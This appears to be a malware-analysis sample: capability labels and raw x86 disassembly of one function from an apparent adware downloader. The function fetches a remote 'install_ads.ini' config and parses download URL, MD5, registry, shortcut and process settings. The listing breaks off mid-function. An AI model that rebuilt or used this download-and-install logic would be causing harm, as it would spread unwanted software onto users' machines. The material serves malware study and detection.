Function at 0x40f660
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Resolve function by parsing pe exports

Disassembly:
push 0xffffffffffffffff
push 0x461449
mov eax, dword fs:[0]
push eax
sub esp, 0xc0
push ebx
push ebp
push esi
push edi
mov eax, dword [0x479920]
xor eax, esp
push eax
lea eax, [esp + 0xd4]
mov dword fs:[0], eax
mov eax, dword [esp + 0xe4]
add eax, 0x160
push str.YouXunBoxYouxun.exe
push eax
mov dword [esp + 0xc4], eax
lea eax, [esp + 0xc0]
push eax
call fcn.0040af90
add esp, 8
mov dword [esp + 0xe0], 0
mov ecx, esp
mov dword [esp + 0x30], esp
push str.http:__box64ad.uuuo.com_yxh_install_ads.ini
call fcn.00401830
lea ecx, [esp + 0x20]
push ecx
call fcn.004080e0
add esp, 8
mov byte [esp + 0xdc], 1
call fcn.00429aa9
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x40f700
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x58], eax
mov byte [esp + 0xdc], 2
call fcn.00429aa9
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x40f732
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x50], eax
mov byte [esp + 0xdc], 3
mov eax, dword [esp + 0x1c]
push ecx
add eax, 0xfffffff0
mov dword [esp + 0x30], esp
mov esi, esp
push eax
call fcn.00401f50
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0xe4], 4
mov ecx, esp
mov dword [esp + 0xa0], esp
push str.sleep
lea esi, [esp + 0x5c]
call fcn.00401830
mov byte [esp + 0xe4], 5
mov eax, dword [0x47e1a4]
push ecx
add eax, 0xfffffff0
mov dword [esp + 0x48], esp
mov ebx, esp
push eax
call fcn.00401f50
add eax, 0x10
mov dword [ebx], eax
add esp, 4
mov byte [esp + 0xe8], 3
call fcn.00407fb0
mov ecx, dword [esp + 0x5c]
add esp, 0xc
push ecx
call fcn.00446e1c
mov dword [esp + 0x30], eax
mov eax, dword [esp + 0x20]
add eax, 0xfffffff0
mov dword [esp + 0x9c], esp
mov esi, esp
push eax
call fcn.00401f50
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0xe4], 6
mov ecx, esp
mov dword [esp + 0x44], esp
push str.number
lea esi, [esp + 0x64]
call fcn.00401830
mov byte [esp + 0xe4], 7
mov eax, dword [0x47e1a4]
push ecx
add eax, 0xfffffff0
mov dword [esp + 0x94], esp
mov ebx, esp
push eax
call fcn.00401f50
add eax, 0x10
mov dword [ebx], eax
add esp, 4
mov byte [esp + 0xe8], 3
call fcn.00407fb0
mov edx, dword [esp + 0x64]
add esp, 0xc
push edx
call fcn.00446e1c
mov esi, eax
add esp, 4
mov dword [esp + 0x98], esi
call fcn.00429aa9
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x40f864
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x28], eax
mov byte [esp + 0xdc], 8
call fcn.00429aa9
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x40f896
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x30], eax
mov byte [esp + 0xdc], 9
call fcn.00429aa9
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x40f8c8
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x34], eax
mov byte [esp + 0xdc], 0xa
call fcn.00429aa9
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x40f8fa
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x48], eax
mov byte [esp + 0xdc], 0xb
call fcn.00429aa9
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x40f92c
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x60], eax
mov byte [esp + 0xdc], 0xc
call fcn.00429aa9
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x40f95e
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x40], eax
mov byte [esp + 0xdc], 0xd
call fcn.00429aa9
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x40f990
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x9c], eax
mov byte [esp + 0xdc], 0xe
call fcn.00429aa9
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x40f9c5
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x84], eax
mov byte [esp + 0xdc], 0xf
call fcn.00429aa9
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x40f9fa
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x38], eax
mov byte [esp + 0xdc], 0x10
call fcn.00429aa9
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x40fa2c
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0xa4], eax
mov byte [esp + 0xdc], 0x11
call fcn.00429aa9
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x40fa61
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x7c], eax
mov byte [esp + 0xdc], 0x12
call fcn.00429aa9
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x40fa93
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x44], eax
mov byte [esp + 0xdc], 0x13
call fcn.00429aa9
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x40fac5
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x74], eax
mov byte [esp + 0xdc], 0x14
call fcn.00429aa9
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x40faf7
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
lea edi, [eax + 0x10]
mov dword [esp + 0x88], edi
mov byte [esp + 0xdc], 0x15
call fcn.00429aa9
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x40fb2c
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0xac], eax
mov byte [esp + 0xdc], 0x16
call fcn.00429aa9
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x40fb61
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x6c], eax
mov byte [esp + 0xdc], 0x17
call fcn.00429aa9
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x40fb93
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x8c], eax
mov byte [esp + 0xdc], 0x18
call fcn.00429aa9
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x40fbc8
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x80], eax
mov byte [esp + 0xdc], 0x19
call fcn.00429aa9
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x40fbfd
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x78], eax
mov byte [esp + 0xdc], 0x1a
call fcn.00429aa9
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x40fc2f
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x5c], eax
mov byte [esp + 0xdc], 0x1b
call fcn.00429aa9
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x40fc61
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x70], eax
mov byte [esp + 0xdc], 0x1c
call fcn.00429aa9
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x40fc93
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x54], eax
mov byte [esp + 0xdc], 0x1d
call fcn.00429aa9
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x40fcc5
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x68], eax
mov byte [esp + 0xdc], 0x1e
call fcn.00429aa9
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x40fcf7
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x4c], eax
mov byte [esp + 0xdc], 0x1f
call fcn.00429aa9
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x40fd29
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x64], eax
mov byte [esp + 0xdc], 0x20
call fcn.00429aa9
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x40fd5b
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0xb0], eax
mov byte [esp + 0xdc], 0x21
call fcn.00429aa9
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x40fd90
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0xa8], eax
mov byte [esp + 0xdc], 0x22
call fcn.00429aa9
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x40fdc5
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0xa0], eax
mov byte [esp + 0xdc], 0x23
call fcn.00429aa9
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x40fdfa
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x90], eax
mov byte [esp + 0xdc], 0x24
call fcn.00429aa9
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x40fe2f
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
lea ebp, [eax + 0x10]
mov dword [esp + 0xb4], ebp
cmp esi, 1
mov bl, 0x25
mov byte [esp + 0xdc], bl
mov dword [esp + 0x94], 1
jl 0x4111f5
nop
mov esi, dword [esp + 0x94]
push esi
lea ecx, [esp + 0x70]
push str.wd_durl
push ecx
call fcn.00404c20
add esp, 0xc
push esi
lea edx, [esp + 0x90]
push str.wd_dmd5
push edx
call fcn.00404c20
add esp, 0xc
push esi
lea eax, [esp + 0x84]
push str.wd_dmain
push eax
call fcn.00404c20
add esp, 0xc
push esi
lea ecx, [esp + 0x7c]
push str.wd_dunmain
push ecx
call fcn.00404c20
add esp, 0xc
push esi
lea edx, [esp + 0x74]
push str.wd_dchina
push edx
call fcn.00404c20
add esp, 0xc
push esi
lea eax, [esp + 0x60]
push str.wd_dopen
push eax
call fcn.00404c20
add esp, 0xc
push esi
lea ecx, [esp + 0xac]
push str.wd_dReg
push ecx
call fcn.00404c20
add esp, 0xc
push esi
lea edx, [esp + 0x58]
push str.wd_dtaskbar
push edx
call fcn.00404c20
add esp, 0xc
push esi
lea eax, [esp + 0x6c]
push str.wd_dparam
push eax
call fcn.00404c20
add esp, 0xc
push esi
lea ecx, [esp + 0x50]
push str.wd_dLnk
push ecx
call fcn.00404c20
add esp, 0xc
push esi
lea edx, [esp + 0x68]
push str.wd_dsleep
push edx
call fcn.00404c20
add esp, 0xc
push esi
lea eax, [esp + 0xb4]
push str.wd_dlnkpath
push eax
call fcn.00404c20
add esp, 0xc
push esi
lea ecx, [esp + 0xa4]
push str.wd_drnwait
push ecx
call fcn.00404c20
add esp, 0xc
push esi
push str.wd_dprocess
lea edx, [esp + 0x98]
push edx
call fcn.00404c20
add esp, 0xc
push esi
lea eax, [esp + 0xb8]
push str.wd_dArea
push eax
call fcn.00404c20
mov esi, dword [esp + 0x28]
mov ecx, dword [esi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add esi, 0xfffffff0
add esp, 8
mov dword [esp + 0x24], esp
mov ebp, esp
call eax
cmp dword [esi + 0xc], 0
lea edx, [esi + 0xc]
jl 0x40ffca
cmp eax, dword [esi]
jne 0x40ffca
mov edi, esi
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x410005
mov ecx, dword [esi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov edi, eax
test edi, edi
je 0x4117e3
mov eax, dword [esi + 4]
mov dword [edi + 4], eax
mov eax, dword [esi + 4]
lea ecx, [eax + eax + 2]
push ecx
add esi, 0x10
lea edx, [eax + eax + 2]
push esi
push edx
lea eax, [edi + 0x10]
push eax
call fcn.004464a1
add esp, 0x10
add edi, 0x10
mov dword [ebp], edi
mov byte [esp + 0xe0], 0x26
mov edi, dword [esp + 0x70]
push ecx
mov ecx, dword [edi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add edi, 0xfffffff0
mov dword [esp + 0x2c], esp
mov esi, esp
call eax
cmp dword [edi + 0xc], 0
lea edx, [edi + 0xc]
jl 0x410045
cmp eax, dword [edi]
jne 0x410045
mov ebp, edi
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x410080
mov ecx, dword [edi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov ebp, eax
test ebp, ebp
je 0x4117e3
mov eax, dword [edi + 4]
mov dword [ebp + 4], eax
mov eax, dword [edi + 4]
lea ecx, [eax + eax + 2]
push ecx
add edi, 0x10
lea edx, [eax + eax + 2]
push edi
push edx
lea eax, [ebp + 0x10]
push eax
call fcn.004464a1
add esp, 0x10
add ebp, 0x10
mov dword [esi], ebp
mov byte [esp + 0xe4], 0x27
mov edi, dword [0x47e1a4]
push ecx
mov ecx, dword [edi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add edi, 0xfffffff0
mov dword [esp + 0x24], esp
mov esi, esp
call eax
cmp dword [edi + 0xc], 0
lea edx, [edi + 0xc]
jl 0x4100c1
cmp eax, dword [edi]
jne 0x4100c1
mov ebp, edi
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x4100fc
mov ecx, dword [edi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov ebp, eax
test ebp, ebp
je 0x4117e3
mov eax, dword [edi + 4]
mov dword [ebp + 4], eax
mov eax, dword [edi + 4]
lea ecx, [eax + eax + 2]
push ecx
add edi, 0x10
lea edx, [eax + eax + 2]
push edi
push edx
lea eax, [ebp + 0x10]
push eax
call fcn.004464a1
add esp, 0x10
add ebp, 0x10
mov dword [esi], ebp
lea esi, [esp + 0x34]
mov byte [esp + 0xe8], bl
call fcn.00407fb0
mov esi, dword [esp + 0x28]
mov ecx, dword [esi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add esi, 0xfffffff0
add esp, 8
mov dword [esp + 0x1c], esp
mov ebp, esp
call eax
cmp dword [esi + 0xc], 0
lea edx, [esi + 0xc]
jl 0x410145
cmp eax, dword [esi]
jne 0x410145
mov edi, esi
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x410180
mov ecx, dword [esi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov edi, eax
test edi, edi
je 0x4117e3
mov eax, dword [esi + 4]
mov dword [edi + 4], eax
mov eax, dword [esi + 4]
lea ecx, [eax + eax + 2]
push ecx
add esi, 0x10
lea edx, [eax + eax + 2]
push esi
push edx
lea eax, [edi + 0x10]
push eax
call fcn.004464a1
add esp, 0x10
add edi, 0x10
mov dword [ebp], edi
mov byte [esp + 0xe0], 0x28
mov edi, dword [esp + 0x90]
push ecx
mov ecx, dword [edi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add edi, 0xfffffff0
mov dword [esp + 0x2c], esp
mov esi, esp
call eax
cmp dword [edi + 0xc], 0
lea edx, [edi + 0xc]
jl 0x4101c3
cmp eax, dword [edi]
jne 0x4101c3
mov ebp, edi
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x4101fe
mov ecx, dword [edi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov ebp, eax
test ebp, ebp
je 0x4117e3
mov eax, dword [edi + 4]
mov dword [ebp + 4], eax
mov eax, dword [edi + 4]
lea ecx, [eax + eax + 2]
push ecx
add edi, 0x10
lea edx, [eax + eax + 2]
push edi
push edx
lea eax, [ebp + 0x10]
push eax
call fcn.004464a1
add esp, 0x10
add ebp, 0x10
mov dword [esi], ebp
mov byte [esp + 0xe4], 0x29
mov edi, dword [0x47e1a4]
push ecx
mov ecx, dword [edi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add edi, 0xfffffff0
mov dword [esp + 0x2c], esp
mov esi, esp
call eax
cmp dword [edi + 0xc], 0
lea edx, [edi + 0xc]
jl 0x41023f
cmp eax, dword [edi]
jne 0x41023f
mov ebp, edi
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x41027a
mov ecx, dword [edi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov ebp, eax
test ebp, ebp
je 0x4117e3
mov eax, dword [edi + 4]
mov dword [ebp + 4], eax
mov eax, dword [edi + 4]
lea ecx, [eax + eax + 2]
push ecx
add edi, 0x10
lea edx, [eax + eax + 2]
push edi
push edx
lea eax, [ebp + 0x10]
push eax
call fcn.004464a1
add esp, 0x10
add ebp, 0x10
mov dword [esi], ebp
lea esi, [esp + 0x3c]
mov byte [esp + 0xe8], bl
call fcn.00407fb0
mov esi, dword [esp + 0x28]
mov ecx, dword [esi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add esi, 0xfffffff0
add esp, 8
mov dword [esp + 0x1c], esp
mov ebp, esp
call eax
cmp dword [esi + 0xc], 0
lea edx, [esi + 0xc]
jl 0x4102c3
cmp eax, dword [esi]
jne 0x4102c3
mov edi, esi
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x4102fe
mov ecx, dword [esi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov edi, eax
test edi, edi
je 0x4117e3
mov eax, dword [esi + 4]
mov dword [edi + 4], eax
mov eax, dword [esi + 4]
lea ecx, [eax + eax + 2]
push ecx
add esi, 0x10
lea edx, [eax + eax + 2]
push esi
push edx
lea eax, [edi + 0x10]
push eax
call fcn.004464a1
add esp, 0x10
add edi, 0x10
mov dword [ebp], edi
mov byte [esp + 0xe0], 0x2a
mov edi, dword [esp + 0x84]
push ecx
mov ecx, dword [edi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add edi, 0xfffffff0
mov dword [esp + 0x2c], esp
mov esi, esp
call eax
cmp dword [edi + 0xc], 0
lea edx, [edi + 0xc]
jl 0x410341
cmp eax, dword [edi]
jne 0x410341
mov ebp, edi
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x41037c
mov ecx, dword [edi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov ebp, eax
test ebp, ebp
je 0x4117e3
mov eax, dword [edi + 4]
mov dword [ebp + 4], eax
mov eax, dword [edi + 4]
lea ecx, [eax + eax + 2]
push ecx
add edi, 0x10
lea edx, [eax + eax + 2]
push edi
push edx
lea eax, [ebp + 0x10]
push eax
call fcn.004464a1
add esp, 0x10
add ebp, 0x10
mov dword [esi], ebp
mov byte [esp + 0xe4], 0x2b
mov edi, dword [0x47e1a4]
push ecx
mov ecx, dword [edi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add edi, 0xfffffff0
mov dword [esp + 0x2c], esp
mov esi, esp
call eax
cmp dword [edi + 0xc], 0
lea edx, [edi + 0xc]
jl 0x4103bd
cmp eax, dword [edi]
jne 0x4103bd
mov ebp, edi
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x4103f8
mov ecx, dword [edi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov ebp, eax
test ebp, ebp
je 0x4117e3
mov eax, dword [edi + 4]
mov dword [ebp + 4], eax
mov eax, dword [edi + 4]
lea ecx, [eax + eax + 2]
push ecx
add edi, 0x10
lea edx, [eax + eax + 2]
push edi
push edx
lea eax, [ebp + 0x10]
push eax
call fcn.004464a1
add esp, 0x10
add ebp, 0x10
mov dword [esi], ebp
lea esi, [esp + 0x40]
mov byte [esp + 0xe8], bl
call fcn.00407fb0
mov esi, dword [esp + 0x28]
mov ecx, dword [esi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add esi, 0xfffffff0
add esp, 8
mov dword [esp + 0x1c], esp
mov ebp, esp
call eax
cmp dword [esi + 0xc], 0
lea edx, [esi + 0xc]
jl 0x410441
cmp eax, dword [esi]
jne 0x410441
mov edi, esi
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x41047c
mov ecx, dword [esi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov edi, eax
test edi, edi
je 0x4117e3
mov eax, dword [esi + 4]
mov dword [edi + 4], eax
mov eax, dword [esi + 4]
lea ecx, [eax + eax + 2]
push ecx
add esi, 0x10
lea edx, [eax + eax + 2]
push esi
push edx
lea eax, [edi + 0x10]
push eax
call fcn.004464a1
add esp, 0x10
add edi, 0x10
mov dword [ebp], edi
mov byte [esp + 0xe0], 0x2c
mov edi, dword [esp + 0x7c]
push ecx
mov ecx, dword [edi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add edi, 0xfffffff0
mov dword [esp + 0x2c], esp
mov esi, esp
call eax
cmp dword [edi + 0xc], 0
lea edx, [edi + 0xc]
jl 0x4104bc
cmp eax, dword [edi]
jne 0x4104bc
mov ebp, edi
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x4104f7
mov ecx, dword [edi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov ebp, eax
test ebp, ebp
je 0x4117e3
mov eax, dword [edi + 4]
mov dword [ebp + 4], eax
mov eax, dword [edi + 4]
lea ecx, [eax + eax + 2]
push ecx
add edi, 0x10
lea edx, [eax + eax + 2]
push edi
push edx
lea eax, [ebp + 0x10]
push eax
call fcn.004464a1
add esp, 0x10
add ebp, 0x10
mov dword [esi], ebp
mov byte [esp + 0xe4], 0x2d
mov edi, dword [0x47e1a4]
push ecx
mov ecx, dword [edi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add edi, 0xfffffff0
mov dword [esp + 0x2c], esp
mov esi, esp
call eax
cmp dword [edi + 0xc], 0
lea edx, [edi + 0xc]
jl 0x410538
cmp eax, dword [edi]
jne 0x410538
mov ebp, edi
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x410573
mov ecx, dword [edi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov ebp, eax
test ebp, ebp
je 0x4117e3
mov eax, dword [edi + 4]
mov dword [ebp + 4], eax
mov eax, dword [edi + 4]
lea ecx, [eax + eax + 2]
push ecx
add edi, 0x10
lea edx, [eax + eax + 2]
push edi
push edx
lea eax, [ebp + 0x10]
push eax
call fcn.004464a1
add esp, 0x10
add ebp, 0x10
mov dword [esi], ebp
lea esi, [esp + 0x54]
mov byte [esp + 0xe8], bl
call fcn.00407fb0
mov esi, dword [esp + 0x28]
mov ecx, dword [esi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add esi, 0xfffffff0
add esp, 8
mov dword [esp + 0x1c], esp
mov ebp, esp
call eax
cmp dword [esi + 0xc], 0
lea edx, [esi + 0xc]
jl 0x4105bc
cmp eax, dword [esi]
jne 0x4105bc
mov edi, esi
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x4105f7
mov ecx, dword [esi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov edi, eax
test edi, edi
je 0x4117e3
mov eax, dword [esi + 4]
mov dword [edi + 4], eax
mov eax, dword [esi + 4]
lea ecx, [eax + eax + 2]
push ecx
add esi, 0x10
lea edx, [eax + eax + 2]
push esi
push edx
lea eax, [edi + 0x10]
push eax
call fcn.004464a1
add esp, 0x10
add edi, 0x10
mov dword [ebp], edi
mov byte [esp + 0xe0], 0x2e
mov edi, dword [esp + 0x60]
push ecx
mov ecx, dword [edi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add edi, 0xfffffff0
mov dword [esp + 0x2c], esp
mov esi, esp
call eax
cmp dword [edi + 0xc], 0
lea edx, [edi + 0xc]
jl 0x410637
cmp eax, dword [edi]
jne 0x410637
mov ebp, edi
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x410672
mov ecx, dword [edi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov ebp, eax
test ebp, ebp
je 0x4117e3
mov eax, dword [edi + 4]
mov dword [ebp + 4], eax
mov eax, dword [edi + 4]
lea ecx, [eax + eax + 2]
push ecx
add edi, 0x10
lea edx, [eax + eax + 2]
push edi
push edx
lea eax, [ebp + 0x10]
push eax
call fcn.004464a1
add esp, 0x10
add ebp, 0x10
mov dword [esi], ebp
mov byte [esp + 0xe4], 0x2f
mov edi, dword [0x47e1a4]
push ecx
mov ecx, dword [edi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add edi, 0xfffffff0
mov dword [esp + 0x2c], esp
mov esi, esp
call eax
cmp dword [edi + 0xc], 0
lea edx, [edi + 0xc]
jl 0x4106b3
cmp eax, dword [edi]
jne 0x4106b3
mov ebp, edi
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x4106ee
mov ecx, dword [edi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov ebp, eax
test ebp, ebp
je 0x4117e3
mov eax, dword [edi + 4]
mov dword [ebp + 4], eax
mov eax, dword [edi + 4]
lea ecx, [eax + eax + 2]
push ecx
add edi, 0x10
lea edx, [eax + eax + 2]
push edi
push edx
lea eax, [ebp + 0x10]
push eax
call fcn.004464a1
add esp, 0x10
add ebp, 0x10
mov dword [esi], ebp
lea esi, [esp + 0x6c]
mov byte [esp + 0xe8], bl
call fcn.00407fb0
mov esi, dword [esp + 0x28]
mov ecx, dword [esi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add esi, 0xfffffff0
add esp, 8
mov dword [esp + 0x1c], esp
mov ebp, esp
call eax
cmp dword [esi + 0xc], 0
lea edx, [esi + 0xc]
jl 0x410737
cmp eax, dword [esi]
jne 0x410737
mov edi, esi
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x410772
mov ecx, dword [esi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov edi, eax
test edi, edi
je 0x4117e3
mov eax, dword [esi + 4]
mov dword [edi + 4], eax
mov eax, dword [esi + 4]
lea ecx, [eax + eax + 2]
push ecx
add esi, 0x10
lea edx, [eax + eax + 2]
push esi
push edx
lea eax, [edi + 0x10]
push eax
call fcn.004464a1
add esp, 0x10
add edi, 0x10
mov dword [ebp], edi
mov byte [esp + 0xe0], 0x30
mov edi, dword [esp + 0xac]
push ecx
mov ecx, dword [edi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
